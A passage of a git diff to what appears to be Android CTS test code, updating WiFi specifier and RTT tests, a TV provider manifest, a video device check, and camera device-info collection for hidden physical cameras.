-            // skip the test if WiFi is not supported
-            return;
-        }
         // Creates a ssid pattern by dropping the last char in the saved network & pass that
         // as a prefix match pattern in the request.
         String ssidUnquoted = removeDoubleQuotes(mTestNetwork.SSID);
@@ -481,11 +522,8 @@
     /**
      * Tests the entire connection flow using a specific BSSID in the specifier.
      */
+    @Test
     public void testConnectionWithSpecificBssid() {
-        if (!WifiFeature.isWifiSupported(getContext())) {
-            // skip the test if WiFi is not supported
-            return;
-        }
         ScanResult scanResult = findScanResultMatchingSavedNetwork();
         WifiNetworkSpecifier specifier = createSpecifierBuilderWithCredentialFromSavedNetwork()
                 .setBssid(MacAddress.fromString(scanResult.BSSID))
@@ -496,11 +534,8 @@
     /**
      * Tests the entire connection flow using a BSSID pattern in the specifier.
      */
+    @Test
     public void testConnectionWithBssidPattern() {
-        if (!WifiFeature.isWifiSupported(getContext())) {
-            // skip the test if WiFi is not supported
-            return;
-        }
         ScanResult scanResult = findScanResultMatchingSavedNetwork();
         // Note: The match may return more than 1 network in this case since we use a prefix match,
         // But, we will still ensure that the UI interactions in the test still selects the
@@ -515,11 +550,8 @@
     /**
      * Tests the entire connection flow using a BSSID pattern in the specifier.
      */
+    @Test
     public void testUserRejectionWithSpecificSsid() {
-        if (!WifiFeature.isWifiSupported(getContext())) {
-            // skip the test if WiFi is not supported
-            return;
-        }
         WifiNetworkSpecifier specifier = createSpecifierBuilderWithCredentialFromSavedNetwork()
                 .setSsid(removeDoubleQuotes(mTestNetwork.SSID))
                 .build();
@@ -530,11 +562,8 @@
      * Tests the builder for WPA2 enterprise networks.
      * Note: Can't do end to end tests for such networks in CTS environment.
      */
+    @Test
     public void testBuilderForWpa2Enterprise() {
-        if (!WifiFeature.isWifiSupported(getContext())) {
-            // skip the test if WiFi is not supported
-            return;
-        }
         WifiNetworkSpecifier specifier1 = new WifiNetworkSpecifier.Builder()
                 .setSsid(removeDoubleQuotes(mTestNetwork.SSID))
                 .setWpa2EnterpriseConfig(new WifiEnterpriseConfig())
@@ -550,11 +579,8 @@
      * Tests the builder for WPA3 enterprise networks.
      * Note: Can't do end to end tests for such networks in CTS environment.
      */
+    @Test
     public void testBuilderForWpa3Enterprise() {
-        if (!WifiFeature.isWifiSupported(getContext())) {
-            // skip the test if WiFi is not supported
-            return;
-        }
         WifiNetworkSpecifier specifier1 = new WifiNetworkSpecifier.Builder()
                 .setSsid(removeDoubleQuotes(mTestNetwork.SSID))
                 .setWpa3EnterpriseConfig(new WifiEnterpriseConfig())
diff --git a/tests/tests/wifi/src/android/net/wifi/nl80211/cts/WifiNl80211ManagerTest.java b/tests/tests/wifi/src/android/net/wifi/nl80211/cts/WifiNl80211ManagerTest.java
index 8e316e6..a692f12 100644
--- a/tests/tests/wifi/src/android/net/wifi/nl80211/cts/WifiNl80211ManagerTest.java
+++ b/tests/tests/wifi/src/android/net/wifi/nl80211/cts/WifiNl80211ManagerTest.java
@@ -89,4 +89,12 @@
             manager.getTxPacketCounters("wlan0");
         } catch (Exception ignore) {}
     }
+
+    @Test
+    public void testSetOnServiceDeadCallback() {
+        try {
+            WifiNl80211Manager manager = mContext.getSystemService(WifiNl80211Manager.class);
+            manager.setOnServiceDeadCallback(() -> {});
+        } catch (Exception ignore) {}
+    }
 }
diff --git a/tests/tests/wifi/src/android/net/wifi/rtt/cts/TestBase.java b/tests/tests/wifi/src/android/net/wifi/rtt/cts/TestBase.java
index 07d5718..a721326 100644
--- a/tests/tests/wifi/src/android/net/wifi/rtt/cts/TestBase.java
+++ b/tests/tests/wifi/src/android/net/wifi/rtt/cts/TestBase.java
@@ -52,6 +52,9 @@
     // wait for Wi-Fi scan results to become available
     private static final int WAIT_FOR_SCAN_RESULTS_SECS = 20;
 
+    // wait for network selection and connection finish
+    private static final int WAIT_FOR_CONNECTION_FINISH_MS = 30_000;
+
     protected WifiRttManager mWifiRttManager;
     protected WifiManager mWifiManager;
     private LocationManager mLocationManager;
@@ -96,8 +99,10 @@
         mWifiLock.acquire();
         if (!mWifiManager.isWifiEnabled()) {
             SystemUtil.runShellCommand("svc wifi enable");
+            // Turn on Wi-Fi may trigger connection. Wait connection state stable.
+            scanAps();
+            Thread.sleep(WAIT_FOR_CONNECTION_FINISH_MS);
         }
-
         IntentFilter intentFilter = new IntentFilter();
         intentFilter.addAction(WifiRttManager.ACTION_WIFI_RTT_STATE_CHANGED);
         WifiRttBroadcastReceiver receiver = new WifiRttBroadcastReceiver();
diff --git a/tests/tests/wifi/src/android/net/wifi/rtt/cts/WifiRttTest.java b/tests/tests/wifi/src/android/net/wifi/rtt/cts/WifiRttTest.java
index c268c14..458917d 100644
--- a/tests/tests/wifi/src/android/net/wifi/rtt/cts/WifiRttTest.java
+++ b/tests/tests/wifi/src/android/net/wifi/rtt/cts/WifiRttTest.java
@@ -40,7 +40,7 @@
 @AppModeFull(reason = "Cannot get WifiManager in instant app mode")
 public class WifiRttTest extends TestBase {
     // Number of scans to do while searching for APs supporting IEEE 802.11mc
-    private static final int NUM_SCANS_SEARCHING_FOR_IEEE80211MC_AP = 2;
+    private static final int NUM_SCANS_SEARCHING_FOR_IEEE80211MC_AP = 5;
 
     // Number of RTT measurements per AP
     private static final int NUM_OF_RTT_ITERATIONS = 10;
@@ -49,7 +49,7 @@
     private static final int MAX_FAILURE_RATE_PERCENT = 10;
 
     // Maximum variation from the average measurement (measures consistency)
-    private static final int MAX_VARIATION_FROM_AVERAGE_DISTANCE_MM = 1000;
+    private static final int MAX_VARIATION_FROM_AVERAGE_DISTANCE_MM = 2000;
 
     // Minimum valid RSSI value
     private static final int MIN_VALID_RSSI = -100;
@@ -176,10 +176,12 @@
                         + ", AP SSID=" + testAp.SSID,
                 numFailures <= NUM_OF_RTT_ITERATIONS * MAX_FAILURE_RATE_PERCENT / 100);
         if (numFailures != NUM_OF_RTT_ITERATIONS) {
-            double distanceAvg = distanceSum / (NUM_OF_RTT_ITERATIONS - numFailures);
-            assertTrue("Wi-Fi RTT: Variation (max direction) exceeds threshold",
+            double distanceAvg = (double) distanceSum / (NUM_OF_RTT_ITERATIONS - numFailures);
+            assertTrue("Wi-Fi RTT: Variation (max direction) exceeds threshold, Variation ="
+                            + (distanceMax - distanceAvg),
                     (distanceMax - distanceAvg) <= MAX_VARIATION_FROM_AVERAGE_DISTANCE_MM);
-            assertTrue("Wi-Fi RTT: Variation (min direction) exceeds threshold",
+            assertTrue("Wi-Fi RTT: Variation (min direction) exceeds threshold, Variation ="
+                            + (distanceAvg - distanceMin),
                     (distanceAvg - distanceMin) <= MAX_VARIATION_FROM_AVERAGE_DISTANCE_MM);
             for (int i = 0; i < numGoodResults; ++i) {
                 assertNotSame("Number of attempted measurements is 0", 0, numAttempted[i]);
@@ -247,7 +249,9 @@
         assertEquals("Ranging request not success",
                 result.getStatus(), RangingResult.STATUS_SUCCESS);
         ResponderLocation responderLocation = result.getUnverifiedResponderLocation();
-        assertNotNull("ResponderLocation should not be null", responderLocation);
+        if (responderLocation == null) {
+            return;
+        }
         assertTrue("ResponderLocation is not valid", responderLocation.isLciSubelementValid());
 
         // Check LCI related APIs
diff --git a/tests/tvprovider/AndroidManifest.xml b/tests/tvprovider/AndroidManifest.xml
index 3ed7678..34b922d 100644
--- a/tests/tvprovider/AndroidManifest.xml
+++ b/tests/tvprovider/AndroidManifest.xml
@@ -21,6 +21,10 @@
     <uses-permission android:name="com.android.providers.tv.permission.WRITE_EPG_DATA" />
     <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" />
 
+    <queries>
+        <package android:name="com.android.providers.tv"/>
+    </queries>
+
     <application>
         <uses-library android:name="android.test.runner" />
     </application>
diff --git a/tests/video/src/android/video/cts/VideoEncoderDecoderTest.java b/tests/video/src/android/video/cts/VideoEncoderDecoderTest.java
index 4264d3f..b52d80d 100644
--- a/tests/video/src/android/video/cts/VideoEncoderDecoderTest.java
+++ b/tests/video/src/android/video/cts/VideoEncoderDecoderTest.java
@@ -145,11 +145,15 @@
 
     // Performance numbers only make sense on real devices, so skip on non-real devices
     public static boolean frankenDevice() throws IOException {
-        String systemBrand = getProperty("ro.product.system_ext.brand");
-        String systemModel = getProperty("ro.product.system_ext.model");
-        String systemProduct = getProperty("ro.product.system_ext.name");
-        if (("Android".equals(systemBrand) || "generic".equals(systemBrand)) &&
-            (systemModel.startsWith("AOSP on ") || systemProduct.startsWith("aosp_"))) {
+        String systemBrand = getProperty("ro.product.system.brand");
+        String systemModel = getProperty("ro.product.system.model");
+        String systemProduct = getProperty("ro.product.system.name");
+        // not all devices may have system_ext partition
+        String systemExtProduct = getProperty("ro.product.system_ext.name");
+        if (("Android".equals(systemBrand) || "generic".equals(systemBrand) ||
+                "mainline".equals(systemBrand)) &&
+            (systemModel.startsWith("AOSP on ") || systemProduct.startsWith("aosp_") ||
+                systemExtProduct.startsWith("aosp_"))) {
             return true;
         }
         return false;
diff --git a/tools/cts-device-info/src/com/android/cts/deviceinfo/CameraDeviceInfo.java b/tools/cts-device-info/src/com/android/cts/deviceinfo/CameraDeviceInfo.java
index 698990f..e0fcbb0 100644
--- a/tools/cts-device-info/src/com/android/cts/deviceinfo/CameraDeviceInfo.java
+++ b/tools/cts-device-info/src/com/android/cts/deviceinfo/CameraDeviceInfo.java
@@ -41,6 +41,8 @@
 import java.lang.reflect.Modifier;
 import java.lang.reflect.ParameterizedType;
 import java.lang.reflect.Type;
+import java.util.ArrayList;
+import java.util.HashMap;
 import java.util.HashSet;
 import java.util.List;
 
@@ -79,6 +81,23 @@
             return;
         }
 
+        public void storePhysicalCameraInfo(String cameraId, List<String> logicalCameras)
+                throws Exception {
+            try {
+                CameraCharacteristics chars = mCameraManager.getCameraCharacteristics(cameraId);
+                mStore.startGroup(); // per camera chars
+                mStore.addResult("cameraId", cameraId);
+                mStore.addListResult("parentLogicalCameraIds", logicalCameras);
+                storeCameraChars(chars);
+                mStore.endGroup(); // per camera chars
+            } catch (CameraAccessException e) {
+                Log.e(TAG,
+                        "Unable to get camera camera static info, skip this camera, error: "
+                                + e.getMessage());
+            }
+            return;
+        }
+
         private void storeRational(
                 Rational rat, String protoName) throws Exception {
             if (protoName == null) {
@@ -420,6 +439,8 @@
                 getContext().getSystemService(Context.CAMERA_SERVICE);
         try {
             String[] cameraIdList = cameraManager.getCameraIdList();
+            HashMap<String, ArrayList<String>> physicalLogicalIdMap =
+                    new HashMap<String, ArrayList<String>>();
             store.addResult("num_of_camera", cameraIdList.length);
             if (cameraIdList.length > 0) {
                 CameraCharacteristicsStorer charsStorer =
@@ -427,8 +448,32 @@
                 store.startArray("per_camera_info");
                 for (int i = 0; i < cameraIdList.length; i++) {
                     charsStorer.storeCameraInfo(cameraIdList[i]);
+
+                    // Get the physical camera ids
+                    CameraCharacteristics ch = cameraManager.getCameraCharacteristics(
+                            cameraIdList[i]);
+                    for (String physicalId : ch.getPhysicalCameraIds()) {
+                        if (physicalLogicalIdMap.get(physicalId) == null) {
+                            physicalLogicalIdMap.put(physicalId, new ArrayList<String>());
+                        }
+                        physicalLogicalIdMap.get(physicalId).add(cameraIdList[i]);
+                    }
                 }
                 store.endArray(); // per_camera_info
+
+                // Store characteristics for hidden physical camera ids
+                for (int i = 0; i < cameraIdList.length; ++i) {
+                    physicalLogicalIdMap.remove(cameraIdList[i]);
+                }
+                if (physicalLogicalIdMap.size() > 0) {
+                    store.addResult("num_of_hidden_physical_camera", physicalLogicalIdMap.size());
+                    store.startArray("per_hidden_physical_camera_info");
+                    for (String physicalId : physicalLogicalIdMap.keySet()) {
+                        charsStorer.storePhysicalCameraInfo(physicalId,
+                                physicalLogicalIdMap.get(physicalId));
+                    }
+                    store.endArray(); // per_hidden_physical_camera_info
+                }
             }
         } catch (CameraAccessException e) {
             Log.e(TAG,